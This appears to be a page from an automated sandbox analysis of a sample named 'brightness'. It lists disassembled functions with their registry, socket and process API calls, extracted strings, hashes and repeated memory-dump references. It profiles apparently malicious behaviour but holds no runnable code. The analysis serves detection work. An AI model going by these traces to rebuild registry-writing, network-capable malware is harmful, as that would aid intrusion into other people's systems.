Instruction ID: 60d1bfa56ae481d02fbc4ac91e1be60a476d3f9c60e7ccb6cf326ec0bcb26d42
Opcode Fuzzy Hash: 1265e13dfb04aeb2909f3a4e3080e814af70f2347d7c98d848a8d48ec97a61c5
Instruction Fuzzy Hash: 93218E30861351EBCB39BFA4E9E9F6E77BCA751306F30169DE50192160CB7198A0CB51

Function 002C4770 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 002C478F
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 002C47A7
RegSetValueExW.ADVAPI32(?,{D4C13668-5BB2-45CB-BED4-3819586C0538},00000000,00000003,?,?), ref: 002C47CA
RegCloseKey.ADVAPI32(?), ref: 002C47D8

Strings

SOFTWARE\%s, xrefs: 002C477E
{D4C13668-5BB2-45CB-BED4-3819586C0538}, xrefs: 002C4779, 002C47C1

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseOpenValue__snwprintf
String ID: SOFTWARE\%s${D4C13668-5BB2-45CB-BED4-3819586C0538}
API String ID: 2100281157-2821402801
Opcode ID: 6326803b288846a0890a2f30e8b3b209d9321ff21c390ad6ccc7b82940850983
Instruction ID: 476b7184842abb459a8e8e96f4a161fc15b8f186067f3b318b5214294411960b
Opcode Fuzzy Hash: 6326803b288846a0890a2f30e8b3b209d9321ff21c390ad6ccc7b82940850983
Instruction Fuzzy Hash: 64018B79754208FBD715EBB4DCD9FAB737CEB08700F104658BA0596180E6B1DF149760

Function 002C9E40 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208), ref: 002C9E57
__snwprintf.LIBCMT ref: 002C9E7C
RegGetValueW.ADVAPI32(80000001,?,{09BFD43E-2EE6-4681-8908-07206FCA7CB8},00000002,00000000,00000000,00000208), ref: 002C9EA8
LocalFree.KERNEL32(00000000), ref: 002C9EC7

Strings

{09BFD43E-2EE6-4681-8908-07206FCA7CB8}, xrefs: 002C9E97
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002C9E66
SOFTWARE\%s, xrefs: 002C9E6B

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$AllocFreeValue__snwprintf
String ID: SOFTWARE\%s${09BFD43E-2EE6-4681-8908-07206FCA7CB8}${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 3906065898-1219366795
Opcode ID: ce372361584ed85aeefa01952a6d7828e59f49a02622841771af831387db54bf
Instruction ID: 16c710c14f615eb305a396bc9a2cbfb7374f855bd7bbdd819c6c5dde16a4a56a
Opcode Fuzzy Hash: ce372361584ed85aeefa01952a6d7828e59f49a02622841771af831387db54bf
Instruction Fuzzy Hash: 39017171A54208FBEB10DBA4DD8EFAEB7B8AB18700F104599B604A7181D6B05F50DB90

Function 002E1220 Relevance: 12.2, APIs: 8, Instructions: 208synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,00000000), ref: 002E11A0
WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 002E11B8
setsockopt.WS2_32(00000000,0000FFFF,00000008,00000001,00000004), ref: 002E126B
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 002E1309
shutdown.WS2_32(00000000,00000002), ref: 002E13D7
closesocket.WS2_32(00000000), ref: 002E13E1
shutdown.WS2_32(00000000,00000002), ref: 002E1453
closesocket.WS2_32(00000000), ref: 002E145D
ExitProcess.KERNEL32 ref: 002E14B0

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$closesocketshutdown$ExitProcesssetsockopt
String ID:
API String ID: 2683737993-0
Opcode ID: ed710cc2b419422f7e1dd7fb27f6e61c3033586433fcf39996338ef924eeab73
Instruction ID: f726f3c50a6f05099038fb7d06f023f15c7ce81cae1c30b77336f9080613c7ee
Opcode Fuzzy Hash: ed710cc2b419422f7e1dd7fb27f6e61c3033586433fcf39996338ef924eeab73
Instruction Fuzzy Hash: EA7160B0A91205AFEB15EFB5DC89FAE7779AB45304F708528F201772D0CBB89961CB50

Function 002D9150 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 402COMMON

Download Yara Rule

Strings

GET, xrefs: 002D9407
<, xrefs: 002D92E6
*/*, xrefs: 002D9172

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID: */*$<$GET
API String ID: 0-4180448669
Opcode ID: 72ab4a26ea03cb4c2fd5b75024b36e6215f861656eb9d9e9ce19d985b568c98f
Instruction ID: 196425b336c85becf8562a06f5448111daf4e1f4e230fd1ec7712a4e6b8d6f2f
Opcode Fuzzy Hash: 72ab4a26ea03cb4c2fd5b75024b36e6215f861656eb9d9e9ce19d985b568c98f
Instruction Fuzzy Hash: 010207B0950218DFEB24DFA4DC85FEEB7B9BB04304F104699E509AB280D7B4AE94CF50

Function 002DCA90 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 161COMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 002DCAE2
wnsprintfW.SHLWAPI ref: 002DCBB9
wnsprintfW.SHLWAPI ref: 002DCC29

Strings

%s%s, xrefs: 002DCC1B
%s%s\, xrefs: 002DCBA8
%s*.*, xrefs: 002DCAD4

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: wnsprintf
String ID: %s%s$%s%s\$%s*.*
API String ID: 167729887-784047915
Opcode ID: 05b321fd491688efb1819925a990a65acdfa665d7b154da57a3abf15ed717ced
Instruction ID: 84ae7ad16c952fd41ef7049d745e2cf327353f877c13dcd93af4f1b4c0640d0c
Opcode Fuzzy Hash: 05b321fd491688efb1819925a990a65acdfa665d7b154da57a3abf15ed717ced
Instruction Fuzzy Hash: 9A51A67096420FAFDB14EFA4CC85FAF7379AF05304F2045AAE609A7280DB75AE51CB50

Function 002C7260 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002C72DB
_memset.LIBCMT ref: 002C732B
shutdown.WS2_32(?,00000002), ref: 002C7595
closesocket.WS2_32(?), ref: 002C759F

Part of subcall function 002E0CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Strings

#, xrefs: 002C744B
, xrefs: 002C7441

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
